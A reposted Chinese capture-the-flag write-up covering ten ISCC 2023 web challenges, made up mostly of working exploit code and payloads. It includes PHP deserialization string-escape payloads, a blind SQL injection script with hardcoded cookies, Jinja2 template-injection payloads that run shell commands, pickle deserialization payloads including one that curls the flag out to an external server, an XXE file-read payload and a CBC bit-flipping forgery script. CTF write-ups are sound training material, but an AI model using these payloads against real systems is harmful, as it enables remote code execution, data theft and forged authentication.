2023ISCC web wp

news2024/11/14 14:51:56

文章目录

    • 1.羊了个羊
    • 2.小周的密码锁
    • 3.老狼老狼几点了
    • 4.ISCC疯狂购物节-1
    • 5.ChatGGG
    • 6.Where_is_your_love
    • 7.ISCC内部零元购-2
    • 8.ISCC单身节抽奖
    • 9.上大号说话
    • 10.ISCC滥用职权-3

1.羊了个羊

在url前缀加上view-source:来查看源码,在vue.global.js中发现可疑字符串。

img

两次base64解码得到flag。

img

2.小周的密码锁

Get传参?password=4&password2=5得到源码。

img

Payload:

?username=14987637&sha1=aaad&%E2%80%AE%E2%81%A6%2F%2F%73%68%61%32%E2%81%A9%E2%81%A6%73%68%61%32=JEJX&password=IRkCNOTHARD

img

3.老狼老狼几点了

爆破后发现12点可以回显源码,源码如下。

<?php

//"Hello! welcome to ISCC, wish you have a great time!";

header("Content-type:text/html;charset=utf-8");

error_reporting(0);

echo time();



class what_time_is_it{

  protected $func, $target;

 

  public function __construct($show_time){

    $this->func = $show_time;

  }

 

  public function __wakeup(){

    echo "wakeup";

  }

 

  public function call_func(){

    $lets_show_time = unserialize($this->filter($this->func));

    if($lets_show_time['function'] == "show_time"){

      echo 'The time is: ". date("h:i:sa", time()). "

';

    }

    else if($lets_show_time['function'] == "hack"){

      file_put_contents('time.php', ". date("h:i:sa", time()). "

';");

      echo "做撚啊做,你还是看看时间吧";

      include($lets_show_time['file']);

    }

    else

      highlight_file(__file__);

  }

 

  private function filter($s){

    return preg_replace('/base64/i','', $s);

  }

 

  public function __destruct(){

    $this->call_func();

  }

 

}

 

if($_SESSION) unset($_SESSION);

$p1 = $_POST['param1'];

$p2 = $_POST['param2'];

$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";

$_SESSION['file'] = 'time.php';

if ($p1 !== $p2 && md5($p1) === md5($p2)){

  if (substr($p1, 0, 10) === strval(time())){

    echo "Just the time";

    extract($_POST);

    $_SESSION['file'] = 'time.php';

    $_SESSION['function'] = "show_time";

  }

  else{

    echo "Sorry wrong time!";

  }

}

$let_me_show_time = serialize($_SESSION)."";

$a = new what_time_is_it($let_me_show_time);

绕过md5,然后用fastcoll强碰撞生成以时间戳开头的字符串,利用反序列化函数实现字符串逃逸。

param1=1685008961%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%21%EA%F4%82%DF%ED%E8%BC%1A.JQ%94%01%87U%09%E1J%9F%CD%FE%88%F7%1Cb%81%B6%A6%7F%92%14%19%EC%FA%F2%D8%B3%1C%F9%CBM%CA%FB%C2Q%E8%3A%B7%A3%D6%0D%1BRe%D7%E8%97%88cU%D2%CD%D9u%F7%FE%26.HB%91%8B%05%F0%A2%08%BDN%09%9B%91%2AXP%D9%F2%D8%AB%C3%F0o%A6_H%D7%D3%AB%C6%03%A7%84%0E%16%B6%05%82%7B%82%97%10%24z%AF+_%0F%A9%15z%BE%3B%23%A2%13%C7%7B%9A¶m2=``1685008961``%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%21%EA%F4%82%DF%ED%E8%BC%1A.JQ%94%01%87U%09%E1J%1F%CD%FE%88%F7%1Cb%81%B6%A6%7F%92%14%19%EC%FA%F2%D8%B3%1C%F9%CBM%CA%FB%C2%D1%E8%3A%B7%A3%D6%0D%1BRe%D7%E8%97%88%E3U%D2%CD%D9u%F7%FE%26.HB%91%8B%05%F0%A2%08%BDN%09%9B%91%2A%D8P%D9%F2%D8%AB%C3%F0o%A6_H%D7%D3%AB%C6%03%A7%84%0E%16%B6%05%82%7B%82%17%10%24z%AF+_%0F%A9%15z%BE%3B%23%22%13%C7%7B%9A&_SESSION[f]=base64base64base64base64base64base64base64base64base64base64base64base64base64base64base64base64&_SESSION[a]=xxxxxxx&_SESSION[function]=0&_SESSION[file]=1&_SESSION[ks]=;s:8:"function";s:4:"hack";s:4:"file";s:57:"php://filter/read=convert.basbase64e64-encode/resource=flag.php";s:1:"c";s:2:"12";s:1:"g";s:2:"12

4.ISCC疯狂购物节-1

Like盲注,脚本:

import requests
import string
import time
import tqdm

str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{'

url = 'http://47.94.14.162:10001/Details/search?id='
cookies = {"td_cookie": "2915680282", "csrftoken": "B45n2nKToeSEKhetwBtds7Oy0ZoxufOgcptjIQgoqGcn87LWmpQjMIuifuOksCR0", "sessionid": "vvl0hcdprevd15b8ta6rszbuooj6wsaj"}
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}


first = '{'.encode('utf-8')
flag ="ISCC{"
while True:
    for i in str:
        first_hex=first.hex()
        i_hex = hex(ord(i))[2:]
        payload = '4875610)||fl4g%20like%20binary%200x25{0}{1}25%23'.format(first_hex,i_hex)
        r = requests.get(url=url + payload, headers=headers, cookies=cookies)
        time.sleep(1)
        if 'fl4g' in r.text:
            flag+=i
            print(flag)
            first = i.encode('utf-8')
            break
print(flag)

image-20230613184512187

5.ChatGGG

多次尝试字符,发现了{{被过滤,猜测存在ssti,尝试{%

image-20230613184535597

确定是ssti,然后利用attr进行16进制转码绕过.

脚本和payload如下:

import requests

def gethex(s1):
    s = ""
    for i in s1:
        s += hex(ord(i)).replace("0x","\\x")
    return s

payload2 = '{% print(lipsum|attr("' + gethex("__globals__") + '")|attr("' + gethex("__getitem__") + '")("os")|attr("' +gethex("popen") +'")("' + gethex("cat requirements.txt") + '")|attr("' +gethex("read") + '")() ) %}'
url = """http://47.94.14.162:10006"""

print(payload2)

payload:

{% print(())|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")| attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(106)|attr("\x5F\x5F\x69\x6E\x69\x74\x5F\x5F")|attr("\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5F\x5F\x62\x75\x69\x6C\x74\x69\x6E\x73\x5F\x5F")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("eval")("\x6f\x70\x65\x6e\x28\x27\x66\x6C\x6C\x6C\x61\x61\x67\x2E\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29") %}

image-20230613184617697

6.Where_is_your_love

首先在源码里发现了LoveStory.php文件。

image-20230613184634033

访问后发现php反序列化。

脚本:

<?php
class boy {
    public $like;


}


class girl {
    public $boyname;


}


class helper {
    public $name;
    public $string;


}
class love_story {
    public $fall_in_love =array(0=>"girl_and_boy");
}


$_ = new boy();
$_ -> like =new girl();
$_ -> like -> boyname = new helper();
$_ -> like -> boyname -> name = new boy();
$_ -> like -> boyname -> name ->like =new helper();
$_ -> like -> boyname -> name ->like -> string = array("string"=>[new love_story(),'love']);


echo serialize($_);

得到公钥,然后rsc解码得到flag。

image-20230613184703723

得到flag为ISCC{GdSw9hRrufPDxzhurElfbZM66hm8BoSN}

7.ISCC内部零元购-2

在session中发现pickle反序列化漏洞,方法eval,os,system,global等都被过滤。

可利用timeit库的repeat函数绕过,将恶意代码进行base64编码后写入脚本。

import timeit

import codecs

import base64

a = timeit.repeat(codecs.decode(base64.b64decode(‘代码’)))

b = b’''ctimeit

repeat

(ccodecs

decode

(cbase64

b64decode

(V{0}

.‘’'.format(a)

payload = base64.b64encode(b).decode()

print(payload)

然后写入session中即可反弹shell或外带flag。

8.ISCC单身节抽奖

随便注册后发现token。

在这里插入图片描述
image-20230613184804035

并发现了username中的字符被替代,我们下载存根需要修改sdog的值,我想到利用php字符串逃逸修改sdog的值。

创建账号为121212";s:4:“sdog”;i:1;}密码为aaa的账号,登录,发现点击下载后提示和之前不一样,代表逃逸成功。

image-20230613184813332

又要去绕过check_time的校验,利用0.432e6绕过校验。

下载接口文件…/…/…/apidemo.php,然后发现xml接口。

image-20230613184827696

猜测为xxe,直接x即可得到flag。

<?xml version="1.0" encoding="utf-8" ?> 

<!DOCTYPE name [ 

<!ENTITY goodies SYSTEM "file:///flag"> ]> 

<user> 

<name>&goodies;</name>

</user>

9.上大号说话

扫描目录发现git源码泄露,在加密cookie时,使用了Fernet加密算法,先爆破出密钥5MbG。并且存在pickle反序列化漏洞。

脚本:

import base64
from cryptography.fernet import Fernet

class ED:
    def __init__(self):
        self.file_key = '5MbG'
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def change(self,key):
        self.cipher_suite = Fernet(self.generate_key(key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)


    def decrypto(self, base_str):
        print(self.cipher_suite.decrypt(base_str))
        return self.cipher_suite.decrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

print(len('curl vps/`nl flagucjbgaxqef.txt| base64`'))
payload = b'\x80\x03(cos\nsystem\nX\x38\x00\x00\x00curl vps/`nl flagucjbgaxqef.txt| base64`o.'

ed = ED()
print(ed.crypto(payload).decode())

然后curl外带flag即可。

image-20230613184918217

10.ISCC滥用职权-3

CBC身份验证。

首先利用bp改数据登录,因为最后需要修改为techn,所以我们也设置一个5为长度的。

image-20230613184943049

然后把数据包再放回去。

image-20230613184953358

然后会显示我们现在是Techn的身份登录,现在进行CBC字节翻转攻击。

Cookie中的数据是。

image-20230613185004932

利用脚本先修改第二个16位置中的T,改为t即可达到我们的目的。

import base64
import requests
import urllib.parse
iv_raw='0s4O8aUpzycRu17GkOqYrw%3D%3D'  #这里填写第一次返回的iv值
cipher_raw='IfGX6w5njHOkC7cZab5TJu3A0Q3pI5SFGCZKKpMpRjblggF9YFyFTZ1G6hasqbu%2B6R27fV%2BcAberbE%2Bid7fQqC30VRRhVeoKmXCzzboFIqiwqGnQmauqvKQa1Yus%2Fmla'  #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw:  " + iv_raw)
print ("cipher_raw:  " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
#a:3:{s:8:"deppar
#tm";s:7:"orgnize
#";s:8:"username"
#;s:3:"123";s:8:"
#password";s:3:"1
#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)

image-20230613185145434

得到修改过后的数据,然后把Cyber_info修改为反转后的数据。

image-20230613185153914

image-20230613185158088

发现T字符已经被换成t,但出现无法解析,这时是因为我们的偏移量没有保持一直,利用无法解析的字符修改偏移量。

利用下边的脚本计算新的偏移。

<?php
    #计算iv
    $res = base64_decode('7JEOvYdPsU7bkD6ISLukpXRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=');    //这里放burp放回的base64数据
    $iv = base64_decode(urldecode('0s4O8aUpzycRu17GkOqYrw%3D%3D')); //这里放cookie中的iv
    $plaintext = 'a:3:{s:8:"deppar';
    $new_iv = '';
    for ($i = 0; $i < 16; $i ++){
        $new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i]));  //产生新的向量IV
    }
    echo urlencode(base64_encode($new_iv));
?>

将得到的数据带入Auth_Key,可以伪造技术部身份。

image-20230613185222172

image-20230613185225411

成功伪造身份。

经测试后发现存在账户互相任免并且本身等级不变的逻辑漏洞,可以互相升级,然后登录俩账号,按照一定的顺序去任免,互相爆破升级即可拥有权限得到flag。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/642951.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这个数据机构是二叉树

文章目录 前言一、二叉树的链式存储二、二叉树链式结构的实现二叉树的结构设计手动构建二叉树二叉树的前序遍历二叉树的中序遍历二叉树的后序遍历二叉树的层序遍历计算二叉树大小计算叶子节点个数计算二叉树高度计算第K层的节点个数查找某个值对应的节点二叉树的销毁 三、完整代…

2.7 协程设计原理

目录 一、为什么要有协程&#xff1f;二、协程的原语操作1、基本操作2、让出&#xff08;yield&#xff09;和恢复&#xff08;resume&#xff09; 三、协程的切换&#xff08;switch&#xff09;1、汇编2、ucontext3、longjmp / setjmp 四、协程结构的定义五、协程调度器结构的…

【C++】string类的深入介绍

【C】string类的深入介绍&#xff08;1&#xff09; 目录 【C】string类的深入介绍&#xff08;1&#xff09;标准库中的string类string类&#xff08;了解即可&#xff09;string类的常用接口说明&#xff08;最常用的&#xff09;详细介绍string::operator[] 迭代器string中的…

AI时代来临!使用ChatGPT和Kapa.ai协助学习成长!

在加密领域畅游时&#xff0c;常常会遇到不懂的技术名词或是其背后代表的含义&#xff0c;此时通常都需要花费大量的时间进行研究和学习方能掌握。但是自从ChatGPT人工智能的出现&#xff0c;通过简单有效地运用其特性&#xff0c;不仅可以大大提高研究的效率&#xff0c;还可以…

统信UOS V20 安装mysql5.7.42详细教程

1 安装包准备 到mysql官网可以看到最新的是8.0.33&#xff0c;想下载其他版本的点击 Looking for previous GA versions?Select Operating System: 选择如下版本的mysql 安装包 2 安装 2.1 上传文件至服务器 下载后通过远程将安装包上传至服务器&#xff0c;我这里将安装…

软件测试在不同应用场景中,我们该如何进行测试呢?

在我们的日常工作中&#xff0c;我们通常接触到的都是比较复杂的系统。而复杂的系统就意味着比较复杂的测试程序。首先&#xff0c;对于复杂的系统来说&#xff0c;如果想要做功能测试&#xff0c;一般需要考虑到测试数据的问题&#xff0c;还要考虑如何从全局出发&#xff0c;…

canal 环境搭建和配置

canal 环境搭建和配置 安装依赖环境 安装canal服务端 canal客户端配置 安装依赖环境 下载Linux版jdk 链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;5r2e --来自百度网盘超级会员V5的分享上传到 /soft/java目录下&#xff0c;并解压-执行如下命令 tar -zxvf jdk…

基于Java在线医疗服务系统设计与实现(源码+lw+部署文档+讲解等)

博主介绍&#xff1a; ✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精…

Media3:Android下一代媒体框架

无论您是在构建音乐播放器、视频流应用程序还是其他需要播放媒体内容的 Android 应用程序&#xff0c;拥有可靠的媒体播放库都是必不可少的。 这就是 Media3 发挥作用的地方。 什么是 Media3&#xff1f; Media3 是由 Google 作为 AndroidX 的一部分推出的强大媒体播放库。它…

从零开始 Spring Boot 38:Lombok 与依赖注入

从零开始 Spring Boot 38&#xff1a;Lombok 与依赖注入 图源&#xff1a;简书 (jianshu.com) 在之前的文章中&#xff0c;我详细介绍了 Lombok 的用法&#xff0c;考虑到在 Spring 中使用依赖注入&#xff08;DI&#xff09;是如此的频繁&#xff0c;因此有必要讨论使用 Lomb…

精通postman教程(五)postman请求参数化

作为一名测试工程师&#xff0c;那么Postman绝对是大伙必备的工具之一。 在这个系列教程中&#xff0c;我将为大伙详细讲解如何使用Postman进行API测试。 今天我带大伙实战一番postman如何请求参数化 &#xff0c;让你们快速上手这款工具。 请求参数化 数据参数化是Postman…

Kivy系列(一)—— Kivy buildozer的Docker镜像制作

接触Kivy是奔着使用python便捷又是跨平台工具去的&#xff0c;如此一套代码可以发布为各类平台的成果。但是由于网络环境限制&#xff0c;以及kivy工具链上各类工具的频繁迭代&#xff0c;即使按照github上的kivy buildozer官方文档&#xff0c;也很难打包成功&#xff0c;kivy…

调试笔记-stm32的OTA/IAP 通过485升级固件

背景&#xff1a;最近需要在stm32上实现通过rs485升级固件功能。经过几天搜索和调试&#xff0c;实现了功能。 目标&#xff1a;使用cubeIDE实现stm32F407VGT6&#xff0c;通过RS485升级固件 调试记录&#xff1a; 步骤1. 在keil环境下的rs485升级固件(含源码)&#xff1a;S…

react 18.2 官网学习笔记(1)

useMemo const cachedValue useMemo(calculateValue, dependencies)&#xff1b;参数一&#xff1a;计算要缓存的值的函数。它应该是纯的&#xff0c;不应该接受任何参数&#xff0c;并且应该返回任何类型的值。React会在初始渲染时调用你的函数。在下一次渲染时&#xff0c;…

从搭建hadoop开始学习大数据中分而治之的MapReduce(伪集群模式)

环境准备 首先需要将如下四个必要的文件下载到计算机&#xff08;已经附上了下载地址&#xff0c;点击即可下载&#xff09;。 Vmware Workstation 17.x 【官方的下载地址】 CentOS-7-x86_64-Minimal-2009【阿里云镜像站下载地址】 openjdk-8u41-b04-linux-x64-14_jan_2020【开…

入栏需看——全国硕士研究生入学统一考试管理类专业学位联考

本栏意在收集关于全国硕士研究生入学统一考试管理类专业学位联考&#xff0c;简称管理类联考的知识点&#xff0c;考点&#xff0c;希望大家一起沟通&#xff0c;一起进步&#xff0c;管它贵不贵&#xff0c;考过了再说咯 英语 知识篇 阅读 完型填空 作文 技巧篇 第二章…

rolling的用法实例

在数据分析的过程中&#xff0c;经常用到对计算移动均值&#xff0c;使用rolling可以轻松实现这个功能~ rolling函数是一个用于时间序列分析的函数&#xff1b; 一、参数解析 首先&#xff0c;让我们来了解一下rolling的各个参数吧 DataFrame.rolling(window, min_periodsN…

Echarts—X轴鼠标滑动或者缩放/多列柱状图中某一列数据为0时不占位

这里写目录标题 需求背景图表展示X轴鼠标滑动或者缩放设置多列柱状图中某一列数据为0时不占位图表代码展示 需求背景 用柱状图展示12个月的项目对应的供应商数据&#xff1b;每个月有多个项目不确定&#xff0c;1-50之间&#xff0c;也就是说&#xff0c;12个月&#xff0c;每…

1.数据库的基本操作

SQL句子中语法格式提示&#xff1a; 1.中括号&#xff08;[]&#xff09;中的内容为可选项&#xff1b; 2.[&#xff0c;...]表示&#xff0c;前面的内容可重复&#xff1b; 3.大括号&#xff08;{}&#xff09;和竖线&#xff08;|&#xff09;表示选择项&#xff0c;在选择…

魏可伟受邀参加 2023 开放原子全球开源峰会

6月11日-13日&#xff0c;2023 开放原子全球开源峰会在京举行。作为开源行业年度盛事&#xff0c;本次峰会以“开源赋能&#xff0c;普惠未来”为主题&#xff0c;聚集政、产、学、研等各领域优势&#xff0c;汇聚顶尖大咖&#xff0c;共话开源未来。 KaiwuDB CTO 魏可伟受邀出…